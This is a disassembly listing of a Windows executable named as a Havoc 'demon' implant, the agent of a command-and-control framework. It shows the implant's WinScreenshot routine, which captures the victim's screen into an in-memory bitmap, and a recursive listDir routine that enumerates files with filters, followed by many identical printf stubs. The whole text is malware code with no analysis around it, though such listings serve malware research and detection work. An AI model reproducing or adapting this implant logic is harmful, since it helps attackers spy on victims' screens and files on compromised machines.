File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
    140022300
    140022300WinScreenshot:
    140022300push r15
    140022302xor eax, eax
    140022304mov r15, rdx
    140022307xor edx, edx
    140022309push r14
    14002230bpush r13
    14002230dpush r12
    14002230fpush rbp
    140022310push rdi
    140022311push rsi
    140022312push rbx
    140022313sub rsp, 280
    14002231amov rbp, [rip+41039]
    140022321mov [rsp+138], rax
    140022329lea rdi, [rsp+188]
    140022331mov [rsp+352], rcx
    140022339mov ecx, 10
    14002233emov [rsp+144], rax
    140022346xor eax, eax
    140022348rep stosd [rdi], eax
    14002234alea rdi, [rsp+228]
    140022352mov ecx, 11
    140022357mov [rsp+128], rdx
    14002235frep stosd [rdi], eax
    140022361lea rdi, [rsp+152]
    140022369mov ecx, 8
    14002236erep stosd [rdi], eax
    140022370mov ecx, 76
    140022375lea rdi, [rsp+138]
    14002237dcall [rbp+1700]
    140022383mov ecx, 77
    140022388mov [rsp+120], eax
    14002238ccall [rbp+1700]
    140022392mov ecx, 14
    140022397mov [rsp+124], eax
    14002239bxor eax, eax
    14002239drep stosb [rdi], al
    14002239flea rbx, [rsp+188]
    1400223a7mov ecx, 40
    1400223acmov [rsp+104], rbx
    1400223b1mov rdi, rbx
    1400223b4rep stosb [rdi], al
    1400223b6lea r14, [rsp+228]
    1400223bemov ecx, 44
    1400223c3mov rdi, r14
    1400223c6rep stosb [rdi], al
    1400223c8lea r8, [rsp+152]
    1400223d0mov ecx, 32
    1400223d5mov [rsp+88], r8
    1400223damov rdi, r8
    1400223ddrep stosb [rdi], al
    1400223dfxor ecx, ecx
    1400223e1mov rdi, r14
    1400223e4call [rbp+1708]
    1400223eamov edx, 7
    1400223efmov r12, rax
    1400223f2mov rcx, rax
    1400223f5call [rbp+1716]
    1400223fbmov r8, [rsp+88]
    140022400mov edx, 32
    140022405mov rcx, rax
    140022408mov [rsp+96], rax
    14002240dcall [rbp+1724]
    140022413mov rsi, [rsp+104]
    140022418mov ecx, 10
    14002241dmov eax, [rsp+156]
    140022424mov r8l, [rsp+160]
    14002242cmov [rsp+188], 40
    140022437mov [rsp+192], eax
    14002243eimul eax, eax, 24
    140022441mov [rsp+196], r8l
    140022449mov [rsp+200], 0x180001
    140022455rep movsd [rdi], [rsi]
    140022457add eax, 31
    14002245amov ecx, 8
    14002245fmov [rsp+138], 19778
    140022469mov [rsp+148], 54
    140022474and eax, -32
    140022477cdq
    140022478idiv ecx
    14002247amov ecx, 64
    14002247fimul eax, r8l
    140022483mov ebx, eax
    140022485add eax, 54
    140022488mov rdx, rax
    14002248bmov [rsp+112], rax
    140022490call [rbp+932]
    140022496mov rcx, r12
    140022499mov r13, rax
    14002249ccall [rbp+1732]
    1400224a2xor ecx, ecx
    1400224a4xor r8l, r8l
    1400224a7mov rdx, r14
    1400224aalea r9, [rsp+128]
    1400224b2mov [rsp+40], ecx
    1400224b6mov rcx, r12
    1400224b9mov [rsp+32], r8
    1400224bexor r8l, r8l
    1400224c1mov [rsp+88], rax
    1400224c6call [rbp+1740]
    1400224ccmov rcx, [rsp+88]
    1400224d1mov rdx, rax
    1400224d4mov r14, rax
    1400224d7call [rbp+1748]
    1400224ddmov eax, [rsp+120]
    1400224e1xor r8l, r8l
    1400224e4xor edx, edx
    1400224e6mov r11l, [rsp+124]
    1400224ebmov rcx, [rsp+88]
    1400224f0mov [rsp+64], 0xcc0020
    1400224f8mov [rsp+48], eax
    1400224fcmov eax, [rsp+160]
    140022503mov [rsp+56], r11l
    140022508mov r9l, [rsp+156]
    140022510mov [rsp+40], r12
    140022515mov [rsp+32], eax
    140022519call [rbp+1756]
    14002251fmov rsi, [rsp+104]
    140022524mov rax, [rsp+138]
    14002252cmov ecx, 10
    140022531mov r10, [rsp+352]
    140022539mov [r13], rax
    14002253dmov rax, [rsp+144]
    140022545mov [r13+6], rax
    140022549lea rax, [r13+14]
    14002254dmov rdi, rax
    140022550lea rax, [r13+54]
    140022554rep movsd [rdi], [rsi]
    140022556mov rsi, [rsp+128]
    14002255emov ecx, ebx
    140022560mov rdi, rax
    140022563rep movsb [rdi], [rsi]
    140022565test r10, r10
    140022568je 0x14002256d
    14002256amov [r10], r13
    14002256d
    14002256dloc_14002256d:
    14002256dtest r15, r15
    140022570je 0x14002257a
    140022572mov rax, [rsp+112]
    140022577mov [r15], rax
    14002257a
    14002257aloc_14002257a:
    14002257acmp [rsp+96], 0
    140022580je 0x14002258d
    140022582mov rcx, [rsp+96]
    140022587call [rbp+1764]
    14002258d
    14002258dloc_14002258d:
    14002258dcmp [rsp+88], 0
    140022593je 0x1400225a0
    140022595mov rcx, [rsp+88]
    14002259acall [rbp+1772]
    1400225a0
    1400225a0loc_1400225a0:
    1400225a0test r12, r12
    1400225a3je 0x1400225b0
    1400225a5mov rdx, r12
    1400225a8xor ecx, ecx
    1400225aacall [rbp+1780]
    1400225b0
    1400225b0loc_1400225b0:
    1400225b0test r14, r14
    1400225b3je 0x1400225be
    1400225b5mov rcx, r14
    1400225b8call [rbp+1764]
    1400225be
    1400225beloc_1400225be:
    1400225beadd rsp, 280
    1400225c5mov eax, 1
    1400225capop rbx
    1400225cbpop rsi
    1400225ccpop rdi
    1400225cdpop rbp
    1400225cepop r12
    1400225d0pop r13
    1400225d2pop r14
    1400225d4pop r15
    1400225d6ret
    140022300
    1400225d7
    1400225d7 // align 0x10
    1400225e0
    1400225e0___chkstk_ms:
    1400225e0nop
    1400225e1ret
    1400225e0
    1400225e2
    1400225e2 // align 0x10
    1400225f0
    1400225f0listDir:
    1400225f0push r15
    1400225f2xor eax, eax
    1400225f4push r14
    1400225f6push r13
    1400225f8push r12
    1400225fapush rbp
    1400225fbpush rdi
    1400225fcpush rsi
    1400225fdmov rsi, rcx
    140022600mov ecx, 148
    140022605push rbx
    140022606sub rsp, 712
    14002260dlea rdi, [rsp+112]
    140022612mov [rsp+792], edx
    140022619rep stosd [rdi], eax
    14002261bmov [rsp+800], r8l
    140022623mov [rsp+808], r9l
    14002262btest rsi, rsi
    14002262eje 0x14002264e
    140022630test r8l, r8l
    140022633setne [rsp+102]
    140022638test r9l, r9l
    14002263bsetne [rsp+103]
    140022640cmp [rsp+102], 0
    140022645je 0x140022675
    140022647cmp [rsp+103], 0
    14002264cje 0x140022675
    14002264e
    14002264eloc_14002264e:
    14002264elea r9, [rip+33582]
    140022655mov r8l, 1467
    14002265blea rdx, [rip+41150]
    140022662xor ebp, ebp
    140022664lea rcx, [rip+32002]
    14002266bcall printf
    140022670jmp 0x140022bcd
    140022675
    140022675loc_140022675:
    140022675mov edx, 526
    14002267amov r12, [rip+40175]
    140022681mov ecx, 64
    140022686mov r13l, 260
    14002268ccall [r12+932]
    140022694mov rcx, rsi
    140022697mov [rsp+64], rax
    14002269ccall StringLengthW
    1400226a1cmp rax, 260
    1400226a7ja 0x1400226b4
    1400226a9mov rcx, rsi
    1400226accall StringLengthW
    1400226b1mov r13l, eax
    1400226b4
    1400226b4loc_1400226b4:
    1400226b4mov ebp, r13l
    1400226b7mov rdi, [rsp+64]
    1400226bclea rdx, [rsp+112]
    1400226c1add rbp, rbp
    1400226c4mov rcx, rbp
    1400226c7rep movsb [rdi], [rsi]
    1400226c9mov rcx, [rsp+64]
    1400226cecall [r12+1004]
    1400226d6mov [rsp+72], rax
    1400226dbinc rax
    1400226dejne 0x1400226f0
    1400226e0mov r9, [rsp+64]
    1400226e5mov r8l, 1482
    1400226ebjmp 0x140022775
    1400226f0
    1400226f0loc_1400226f0:
    1400226f0test [rsp+112], 16
    1400226f5je 0x14002279b
    1400226fbmov rbx, [rsp+64]
    140022700lea eax, [r13-1]
    140022704mov ax, [rbx+2*rax]
    140022708cmp ax, 42
    14002270cje 0x14002279b
    140022712cmp ax, 92
    140022716je 0x140022721
    140022718mov [rbx+rbp], 92
    14002271einc r13l
    140022721
    140022721loc_140022721:
    140022721mov rax, [rsp+64]
    140022726mov rbx, [rsp+64]
    14002272blea esi, [r13+1]
    14002272fmov rcx, [rsp+72]
    140022734mov [rax+2*r13], 42
    14002273bmov eax, esi
    14002273dmov r13l, esi
    140022740mov [rbx+2*rax], 0
    140022746call [r12+1068]
    14002274emov rcx, [rsp+64]
    140022753lea rdx, [rsp+112]
    140022758call [r12+1004]
    140022760mov [rsp+72], rax
    140022765inc rax
    140022768jne 0x14002279b
    14002276amov r9, [rsp+64]
    14002276fmov r8l, 1501
    140022775
    140022775loc_140022775:
    140022775lea rdx, [rip+40868]
    14002277clea rcx, [rip+33298]
    140022783xor r13l, r13l
    140022786xor ebp, ebp
    140022788call printf
    14002278dmov [rsp+72], -1
    140022796jmp 0x140022b6f
    14002279b
    14002279bloc_14002279b:
    14002279bmov rax, [rip+39886]
    1400227a2mov edx, 560
    1400227a7mov ecx, 64
    1400227accall [rax+932]
    1400227b2mov rcx, [rsp+64]
    1400227b7mov rbp, rax
    1400227bacall StringLengthW
    1400227bfmov ecx, 520
    1400227c4cmp rax, 260
    1400227caja 0x1400227da
    1400227ccmov rcx, [rsp+64]
    1400227d1call StringLengthW
    1400227d6lea rcx, [rax+rax]
    1400227da
    1400227daloc_1400227da:
    1400227dalea eax, [r13-1]
    1400227demov rsi, [rsp+64]
    1400227e3mov rdi, rbp
    1400227e6xor r14l, r14l
    1400227e9rep movsb [rdi], [rsi]
    1400227ebadd rax, rax
    1400227eexor r13l, r13l
    1400227f1mov [rsp+104], rax
    1400227f6xor eax, eax
    1400227f8mov [rsp+88], rax
    1400227fdlea rax, [rsp+156]
    140022805mov [rsp+80], rax
    14002280a
    14002280aloc_14002280a:
    14002280amov eax, [rsp+112]
    14002280eand eax, 16
    140022811setne r15b
    140022815cmp [rsp+792], 0
    14002281dmov [rsp+96], eax
    140022821jne 0x140022837
    140022823test r15b, r15b
    140022826je 0x140022837
    140022828cmp [rsp+800], 0
    140022830je 0x140022857
    140022832jmp 0x140022ad3
    140022837
    140022837loc_140022837:
    140022837cmp [rsp+96], 0
    14002283cjne 0x140022849
    14002283ecmp [rsp+103], 0
    140022843jne 0x140022ad3
    140022849
    140022849loc_140022849:
    140022849cmp [rsp+96], 0
    14002284emov r12, r14
    140022851je 0x140022901
    140022857
    140022857loc_140022857:
    140022857mov rcx, [rsp+80]
    14002285ccall StringLengthW
    140022861dec rax
    140022864jne 0x140022875
    140022866cmp [rsp+156], 46
    14002286fje 0x140022ad3
    140022875
    140022875loc_140022875:
    140022875mov rcx, [rsp+80]
    14002287acall StringLengthW
    14002287fcmp rax, 2
    140022883jne 0x140022896
    140022885cmp [rsp+156], 0x2e002e
    140022890je 0x140022ad3
    140022896
    140022896loc_140022896:
    140022896cmp [rsp+792], 0
    14002289eje 0x1400228e9
    1400228a0test r15b, r15b
    1400228a3je 0x1400228e9
    1400228a5mov rax, [rip+39620]
    1400228acmov edx, 536
    1400228b1mov ecx, 64
    1400228b6call [rax+932]
    1400228bcmov rsi, [rsp+64]
    1400228c1mov rcx, [rsp+104]
    1400228c6mov rdi, rax
    1400228c9mov rdx, [rsp+80]
    1400228cemov r12, rax
    1400228d1rep movsb [rdi], [rsi]
    1400228d3mov rcx, rax
    1400228d6call StringConcatW
    1400228dbtest r14, r14
    1400228deje 0x1400228ee
    1400228e0mov [r14+528], r12
    1400228e7jmp 0x1400228f1
    1400228e9
    1400228e9loc_1400228e9:
    1400228e9mov r12, r14
    1400228ecjmp 0x1400228f1
    1400228ee
    1400228eeloc_1400228ee:
    1400228eemov r13, r12
    1400228f1
    1400228f1loc_1400228f1:
    1400228f1cmp [rsp+102], 0
    1400228f6je 0x140022901
    1400228f8test r15b, r15b
    1400228fbjne 0x140022ad0
    140022901
    140022901loc_140022901:
    140022901cmp [rsp+816], 0
    14002290ajne 0x140022919
    14002290c
    14002290cloc_14002290c:
    14002290ccmp [rsp+824], 0
    140022915jne 0x140022957
    140022917jmp 0x140022995
    140022919
    140022919loc_140022919:
    140022919mov rcx, [rsp+80]
    14002291ecall StringLengthW
    140022923mov rcx, [rsp+816]
    14002292bmov rsi, rax
    14002292ecall StringLengthW
    140022933cmp rsi, rax
    140022936jb 0x140022ad0
    14002293cmov rdx, [rsp+80]
    140022941mov rcx, [rsp+816]
    140022949call StringCompareIW
    14002294etest eax, eax
    140022950je 0x14002290c
    140022952jmp 0x140022ad0
    140022957
    140022957loc_140022957:
    140022957mov rcx, [rsp+80]
    14002295ccall StringLengthW
    140022961mov rcx, [rsp+824]
    140022969mov rsi, rax
    14002296ccall StringLengthW
    140022971cmp rsi, rax
    140022974jb 0x140022ad0
    14002297amov rdx, [rsp+824]
    140022982mov rcx, [rsp+80]
    140022987call WcsStr
    14002298ctest rax, rax
    14002298fje 0x140022ad0
    140022995
    140022995loc_140022995:
    140022995cmp [rsp+832], 0
    14002299eje 0x140022a0c
    1400229a0lea rdi, [rsp+156]
    1400229a8lea r14, [rsp+112]
    1400229admov rcx, rdi
    1400229b0call StringLengthW
    1400229b5mov rcx, [rsp+832]
    1400229bdmov rsi, rax
    1400229c0call StringLengthW
    1400229c5cmp rsi, rax
    1400229c8jb 0x140022ad0
    1400229cemov rcx, rdi
    1400229d1call StringLengthW
    1400229d6mov rcx, [rsp+832]
    1400229demov rsi, rax
    1400229e1call StringLengthW
    1400229e6mov rcx, [rsp+832]
    1400229eemov rdx, rax
    1400229f1lea rax, [rsi+22]
    1400229f5sub rax, rdx
    1400229f8add rax, rax
    1400229fblea rdx, [r14+rax]
    1400229ffcall StringCompareIW
    140022a04test eax, eax
    140022a06jne 0x140022ad0
    140022a0c
    140022a0cloc_140022a0c:
    140022a0cmov rsi, [rip+39261]
    140022a13mov edx, 576
    140022a18mov ecx, 64
    140022a1dmovzx r15l, r15b
    140022a21call [rsi+932]
    140022a27lea rcx, [rsp+124]
    140022a2cmov rbx, rax
    140022a2flea rdi, [rax+522]
    140022a36mov rdx, rdi
    140022a39call [rsi+1076]
    140022a3fxor ecx, ecx
    140022a41lea r8, [rbx+538]
    140022a48mov rdx, rdi
    140022a4bcall [rsi+1084]
    140022a51cmp [rsp+96], 0
    140022a56mov [rbx+556], r15l
    140022a5dje 0x140022a67
    140022a5finc [rbp+540]
    140022a65jmp 0x140022a90
    140022a67
    140022a67loc_140022a67:
    140022a67mov eax, [rsp+140]
    140022a6emov edx, [rsp+144]
    140022a75shl rax, 32
    140022a79or rax, rdx
    140022a7cmov [rbx+560], rax
    140022a83inc [rbp+536]
    140022a89add [rbp+544], rax
    140022a90
    140022a90loc_140022a90:
    140022a90lea rsi, [rsp+156]
    140022a98mov rdi, rbx
    140022a9bmov rcx, rsi
    140022a9ecall StringLengthW
    140022aa3cmp [rsp+88], 0
    140022aa9lea rcx, [rax+rax]
    140022aadrep movsb [rdi], [rsi]
    140022aafje 0x140022ac7
    140022ab1mov rax, [rsp+88]
    140022ab6mov [rax+568], rbx
    140022abd
    140022abdloc_140022abd:
    140022abdmov [rsp+88], rbx
    140022ac2mov r14, r12
    140022ac5jmp 0x140022ad3
    140022ac7
    140022ac7loc_140022ac7:
    140022ac7mov [rbp+528], rbx
    140022acejmp 0x140022abd
    140022ad0
    140022ad0loc_140022ad0:
    140022ad0mov r14, r12
    140022ad3
    140022ad3loc_140022ad3:
    140022ad3mov rax, [rip+39062]
    140022adamov rcx, [rsp+72]
    140022adflea rdx, [rsp+112]
    140022ae4call [rax+1012]
    140022aeatest eax, eax
    140022aecjne 0x14002280a
    140022af2mov rsi, r13
    140022af5mov rdi, rbp
    140022af8
    140022af8loc_140022af8:
    140022af8test rsi, rsi
    140022afbje 0x140022b67
    140022afdmov rax, [rsp+832]
    140022b05mov r9l, [rsp+808]
    140022b0dmov rcx, rsi
    140022b10mov r8l, [rsp+800]
    140022b18mov edx, [rsp+792]
    140022b1fmov [rsp+48], rax
    140022b24mov rax, [rsp+824]
    140022b2cmov [rsp+40], rax
    140022b31mov rax, [rsp+816]
    140022b39mov [rsp+32], rax
    140022b3ecall listDir
    140022b43test rax, rax
    140022b46je 0x140022b5e
    140022b48mov [rdi+552], rax
    140022b4f
    140022b4floc_140022b4f:
    140022b4fmov rdi, rax
    140022b52mov rax, [rax+552]
    140022b59test rax, rax
    140022b5cjne 0x140022b4f
    140022b5e
    140022b5eloc_140022b5e:
    140022b5emov rsi, [rsi+528]
    140022b65jmp 0x140022af8
    140022b67
    140022b67loc_140022b67:
    140022b67cmp [rsp+72], 0
    140022b6dje 0x140022b81
    140022b6f
    140022b6floc_140022b6f:
    140022b6fmov rax, [rip+38906]
    140022b76mov rcx, [rsp+72]
    140022b7bcall [rax+1068]
    140022b81
    140022b81loc_140022b81:
    140022b81mov rdi, [rsp+64]
    140022b86mov ecx, 526
    140022b8bxor eax, eax
    140022b8drep stosb [rdi], al
    140022b8fmov rsi, [rip+38874]
    140022b96mov rcx, [rsp+64]
    140022b9bxor ebx, ebx
    140022b9dmov r12l, 536
    140022ba3call [rsi+940]
    140022ba9
    140022ba9loc_140022ba9:
    140022ba9test r13, r13
    140022bacje 0x140022bcd
    140022baemov r14, [r13+528]
    140022bb5mov rdi, r13
    140022bb8mov rcx, r12
    140022bbbmov eax, ebx
    140022bbdrep stosb [rdi], al
    140022bbfmov rcx, r13
    140022bc2mov r13, r14
    140022bc5call [rsi+940]
    140022bcbjmp 0x140022ba9
    140022bcd
    140022bcdloc_140022bcd:
    140022bcdadd rsp, 712
    140022bd4mov rax, rbp
    140022bd7pop rbx
    140022bd8pop rsi
    140022bd9pop rdi
    140022bdapop rbp
    140022bdbpop r12
    140022bddpop r13
    140022bdfpop r14
    140022be1pop r15
    140022be3ret
    1400225f0
    140022be4
    140022be4 // align 0x10
    140022bf0
    140022bf0printf:
    140022bf0push rbx
    140022bf1mov rbx, rcx
    140022bf4mov ecx, 1
    140022bf9sub rsp, 64
    140022bfdmov [rsp+96], r8
    140022c02lea r8, [rsp+88]
    140022c07mov [rsp+88], rdx
    140022c0cmov [rsp+104], r9
    140022c11mov [rsp+56], r8
    140022c16mov [rsp+40], r8
    140022c1bcall [rip+8575]
    140022c21mov r8, [rsp+40]
    140022c26mov rdx, rbx
    140022c29mov rcx, rax
    140022c2ccall __mingw_vfprintf
    140022c31add rsp, 64
    140022c35pop rbx
    140022c36ret
    140022bf0
    140022c37
    140022c37 // align 0x10
    140022c40
    140022c40printf:
    140022c40push rbx
    140022c41mov rbx, rcx
    140022c44mov ecx, 1
    140022c49sub rsp, 64
    140022c4dmov [rsp+96], r8
    140022c52lea r8, [rsp+88]
    140022c57mov [rsp+88], rdx
    140022c5cmov [rsp+104], r9
    140022c61mov [rsp+56], r8
    140022c66mov [rsp+40], r8
    140022c6bcall [rip+8495]
    140022c71mov r8, [rsp+40]
    140022c76mov rdx, rbx
    140022c79mov rcx, rax
    140022c7ccall __mingw_vfprintf
    140022c81add rsp, 64
    140022c85pop rbx
    140022c86ret
    140022c40
    140022c87
    140022c87 // align 0x10
    140022c90
    140022c90printf:
    140022c90push rbx
    140022c91mov rbx, rcx
    140022c94mov ecx, 1
    140022c99sub rsp, 64
    140022c9dmov [rsp+96], r8
    140022ca2lea r8, [rsp+88]
    140022ca7mov [rsp+88], rdx
    140022cacmov [rsp+104], r9
    140022cb1mov [rsp+56], r8
    140022cb6mov [rsp+40], r8
    140022cbbcall [rip+8415]
    140022cc1mov r8, [rsp+40]
    140022cc6mov rdx, rbx
    140022cc9mov rcx, rax
    140022ccccall __mingw_vfprintf
    140022cd1add rsp, 64
    140022cd5pop rbx
    140022cd6ret
    140022c90
    140022cd7
    140022cd7 // align 0x10
    140022ce0
    140022ce0printf:
    140022ce0push rbx
    140022ce1mov rbx, rcx
    140022ce4mov ecx, 1
    140022ce9sub rsp, 64
    140022cedmov [rsp+96], r8
    140022cf2lea r8, [rsp+88]
    140022cf7mov [rsp+88], rdx
    140022cfcmov [rsp+104], r9
    140022d01mov [rsp+56], r8
    140022d06mov [rsp+40], r8
    140022d0bcall [rip+8335]
    140022d11mov r8, [rsp+40]
    140022d16mov rdx, rbx
    140022d19mov rcx, rax
    140022d1ccall __mingw_vfprintf
    140022d21add rsp, 64
    140022d25pop rbx
    140022d26ret
    140022ce0
    140022d27
    140022d27 // align 0x10
    140022d30
    140022d30printf:
    140022d30push rbx
    140022d31mov rbx, rcx
    140022d34mov ecx, 1
    140022d39sub rsp, 64
    140022d3dmov [rsp+96], r8
    140022d42lea r8, [rsp+88]
    140022d47mov [rsp+88], rdx
    140022d4cmov [rsp+104], r9
    140022d51mov [rsp+56], r8
    140022d56mov [rsp+40], r8
    140022d5bcall [rip+8255]
    140022d61mov r8, [rsp+40]
    140022d66mov rdx, rbx
    140022d69mov rcx, rax
    140022d6ccall __mingw_vfprintf
    140022d71add rsp, 64
    140022d75pop rbx
    140022d76ret
    140022d30
    140022d77
    140022d77 // align 0x10
    140022d80
    140022d80printf:
    140022d80push rbx
    140022d81mov rbx, rcx
    140022d84mov ecx, 1
    140022d89sub rsp, 64
    140022d8dmov [rsp+96], r8
    140022d92lea r8, [rsp+88]
    140022d97mov [rsp+88], rdx
    140022d9cmov [rsp+104], r9
    140022da1mov [rsp+56], r8
    140022da6mov [rsp+40], r8
    140022dabcall [rip+8175]
    140022db1mov r8, [rsp+40]
    140022db6mov rdx, rbx
    140022db9mov rcx, rax
    140022dbccall __mingw_vfprintf
    140022dc1add rsp, 64
    140022dc5pop rbx
    140022dc6ret
    140022d80
    140022dc7
    140022dc7 // align 0x10
    140022dd0
    140022dd0printf:
    140022dd0push rbx
    140022dd1mov rbx, rcx
    140022dd4mov ecx, 1
    140022dd9sub rsp, 64
    140022dddmov [rsp+96], r8
    140022de2lea r8, [rsp+88]
    140022de7mov [rsp+88], rdx
    140022decmov [rsp+104], r9
    140022df1mov [rsp+56], r8
    140022df6mov [rsp+40], r8
    140022dfbcall [rip+8095]
    140022e01mov r8, [rsp+40]
    140022e06mov rdx, rbx
    140022e09mov rcx, rax
    140022e0ccall __mingw_vfprintf
    140022e11add rsp, 64
    140022e15pop rbx
    140022e16ret
    140022dd0
    140022e17
    140022e17 // align 0x10
    140022e20
    140022e20printf:
    140022e20push rbx
    140022e21mov rbx, rcx
    140022e24mov ecx, 1
    140022e29sub rsp, 64
    140022e2dmov [rsp+96], r8
    140022e32lea r8, [rsp+88]
    140022e37mov [rsp+88], rdx
    140022e3cmov [rsp+104], r9
    140022e41mov [rsp+56], r8
    140022e46mov [rsp+40], r8
    140022e4bcall [rip+8015]
    140022e51mov r8, [rsp+40]
    140022e56mov rdx, rbx
    140022e59mov rcx, rax
    140022e5ccall __mingw_vfprintf
    140022e61add rsp, 64
    140022e65pop rbx
    140022e66ret
    140022e20
    140022e67
    140022e67 // align 0x10
    140022e70
    140022e70printf:
    140022e70push rbx
    140022e71mov rbx, rcx
    140022e74mov ecx, 1
    140022e79sub rsp, 64
    140022e7dmov [rsp+96], r8
    140022e82lea r8, [rsp+88]
    140022e87mov [rsp+88], rdx
    140022e8cmov [rsp+104], r9
    140022e91mov [rsp+56], r8
    140022e96mov [rsp+40], r8
    140022e9bcall [rip+7935]
    140022ea1mov r8, [rsp+40]
    140022ea6mov rdx, rbx
    140022ea9mov rcx, rax
    140022eaccall __mingw_vfprintf
    140022eb1add rsp, 64
    140022eb5pop rbx
    140022eb6ret
    140022e70
    140022eb7
    140022eb7 // align 0x10
    140022ec0
    140022ec0printf:
    140022ec0push rbx
    140022ec1mov rbx, rcx
    140022ec4mov ecx, 1
    140022ec9sub rsp, 64
    140022ecdmov [rsp+96], r8
    140022ed2lea r8, [rsp+88]
    140022ed7mov [rsp+88], rdx
    140022edcmov [rsp+104], r9
    140022ee1mov [rsp+56], r8
    140022ee6mov [rsp+40], r8
    140022eebcall [rip+7855]
    140022ef1mov r8, [rsp+40]
    140022ef6mov rdx, rbx
    140022ef9mov rcx, rax
    140022efccall __mingw_vfprintf
    140022f01add rsp, 64
    140022f05pop rbx
    140022f06ret
    140022ec0
    140022f07
    140022f07 // align 0x10
    140022f10
    140022f10printf:
    140022f10push rbx
    140022f11mov rbx, rcx
    140022f14mov ecx, 1
    140022f19sub rsp, 64
    140022f1dmov [rsp+96], r8
    140022f22lea r8, [rsp+88]
    140022f27mov [rsp+88], rdx
    140022f2cmov [rsp+104], r9
    140022f31mov [rsp+56], r8
    140022f36mov [rsp+40], r8
    140022f3bcall [rip+7775]
    140022f41mov r8, [rsp+40]
    140022f46mov rdx, rbx
    140022f49mov rcx, rax
    140022f4ccall __mingw_vfprintf
    140022f51add rsp, 64
    140022f55pop rbx
    140022f56ret
    140022f10
    140022f57
    140022f57 // align 0x10
    140022f60
    140022f60printf:
    140022f60push rbx
    140022f61mov rbx, rcx
    140022f64mov ecx, 1
    140022f69sub rsp, 64
    140022f6dmov [rsp+96], r8
    140022f72lea r8, [rsp+88]
    140022f77mov [rsp+88], rdx
    140022f7cmov [rsp+104], r9
    140022f81mov [rsp+56], r8
    140022f86mov [rsp+40], r8
    140022f8bcall [rip+7695]
    140022f91mov r8, [rsp+40]
    140022f96mov rdx, rbx
    140022f99mov rcx, rax
    140022f9ccall __mingw_vfprintf
    140022fa1add rsp, 64
    140022fa5pop rbx
    140022fa6ret
    140022f60
    140022fa7
    140022fa7 // align 0x10
    140022fb0
    140022fb0printf:
    140022fb0push rbx
    140022fb1mov rbx, rcx
    140022fb4mov ecx, 1
    140022fb9sub rsp, 64
    140022fbdmov [rsp+96], r8
    140022fc2lea r8, [rsp+88]
    140022fc7mov [rsp+88], rdx
    140022fccmov [rsp+104], r9
    140022fd1mov [rsp+56], r8
    140022fd6mov [rsp+40], r8
    140022fdbcall [rip+7615]
    140022fe1mov r8, [rsp+40]
    140022fe6mov rdx, rbx
    140022fe9mov rcx, rax
    140022feccall __mingw_vfprintf
    140022ff1add rsp, 64
    140022ff5pop rbx
    140022ff6ret
    140022fb0
    140022ff7
    140022ff7 // align 0x10
    140023000
    140023000printf:
    140023000push rbx
    140023001mov rbx, rcx
    140023004mov ecx, 1
    140023009sub rsp, 64
    14002300dmov [rsp+96], r8
    140023012lea r8, [rsp+88]
    140023017mov [rsp+88], rdx
    14002301cmov [rsp+104], r9
    140023021mov [rsp+56], r8
    140023026mov [rsp+40], r8
    14002302bcall [rip+7535]
    140023031mov r8, [rsp+40]
    140023036mov rdx, rbx
    140023039mov rcx, rax
    14002303ccall __mingw_vfprintf
    140023041add rsp, 64
    140023045pop rbx
    140023046ret
    140023000
    140023047
    140023047 // align 0x10
    140023050
    140023050printf:
    140023050push rbx
    140023051mov rbx, rcx
    140023054mov ecx, 1
    140023059sub rsp, 64
    14002305dmov [rsp+96], r8
    140023062lea r8, [rsp+88]
    140023067mov [rsp+88], rdx
    14002306cmov [rsp+104], r9
    140023071mov [rsp+56], r8
    140023076mov [rsp+40], r8
    14002307bcall [rip+7455]
    140023081mov r8, [rsp+40]
    140023086mov rdx, rbx
    140023089mov rcx, rax
    14002308ccall __mingw_vfprintf
    140023091add rsp, 64
    140023095pop rbx
    140023096ret
    140023050
    140023097
    140023097 // align 0x10
    1400230a0
    1400230a0printf:
    1400230a0push rbx
    1400230a1mov rbx, rcx
    1400230a4mov ecx, 1
    1400230a9sub rsp, 64
    1400230admov [rsp+96], r8
    1400230b2lea r8, [rsp+88]
    1400230b7mov [rsp+88], rdx
    1400230bcmov [rsp+104], r9
    1400230c1mov [rsp+56], r8
    1400230c6mov [rsp+40], r8
    1400230cbcall [rip+7375]
    1400230d1mov r8, [rsp+40]
    1400230d6mov rdx, rbx
    1400230d9mov rcx, rax
    1400230dccall __mingw_vfprintf
    1400230e1add rsp, 64
    1400230e5pop rbx
    1400230e6ret
    1400230a0
    1400230e7
    1400230e7 // align 0x10
    1400230f0
    1400230f0printf:
    1400230f0push rbx
    1400230f1mov rbx, rcx
    1400230f4mov ecx, 1
    1400230f9sub rsp, 64
    1400230fdmov [rsp+96], r8
    140023102lea r8, [rsp+88]
    140023107mov [rsp+88], rdx
    14002310cmov [rsp+104], r9
    140023111mov [rsp+56], r8
    140023116mov [rsp+40], r8
    14002311bcall [rip+7295]
    140023121mov r8, [rsp+40]
    140023126mov rdx, rbx
    140023129mov rcx, rax
    14002312ccall __mingw_vfprintf
    140023131add rsp, 64
    140023135pop rbx
    140023136ret
    1400230f0
    140023137
    140023137 // align 0x10
    140023140
    140023140printf:
    140023140push rbx
    140023141mov rbx, rcx
    140023144mov ecx, 1
    140023149sub rsp, 64
    14002314dmov [rsp+96], r8
    140023152lea r8, [rsp+88]
    140023157mov [rsp+88], rdx
    14002315cmov [rsp+104], r9
    140023161mov [rsp+56], r8
    140023166mov [rsp+40], r8
    14002316bcall [rip+7215]
    140023171mov r8, [rsp+40]
    140023176mov rdx, rbx
    140023179mov rcx, rax
    14002317ccall __mingw_vfprintf
    140023181add rsp, 64
    140023185pop rbx
    140023186ret
    140023140
    140023187
    140023187 // align 0x10
    140023190
    140023190printf:
    140023190push rbx
    140023191mov rbx, rcx
    140023194mov ecx, 1
    140023199sub rsp, 64
    14002319dmov [rsp+96], r8
    1400231a2lea r8, [rsp+88]
    1400231a7mov [rsp+88], rdx
    1400231acmov [rsp+104], r9
    1400231b1mov [rsp+56], r8
    1400231b6mov [rsp+40], r8
    1400231bbcall [rip+7135]
    1400231c1mov r8, [rsp+40]
    1400231c6mov rdx, rbx
    1400231c9mov rcx, rax
    1400231cccall __mingw_vfprintf
    1400231d1add rsp, 64
    1400231d5pop rbx
    1400231d6ret
    140023190
    1400231d7
    1400231d7 // align 0x10
    1400231e0
    1400231e0printf:
    1400231e0push rbx
    1400231e1mov rbx, rcx
    1400231e4mov ecx, 1
    1400231e9sub rsp, 64
    1400231edmov [rsp+96], r8
    1400231f2lea r8, [rsp+88]
    1400231f7mov [rsp+88], rdx
    1400231fcmov [rsp+104], r9
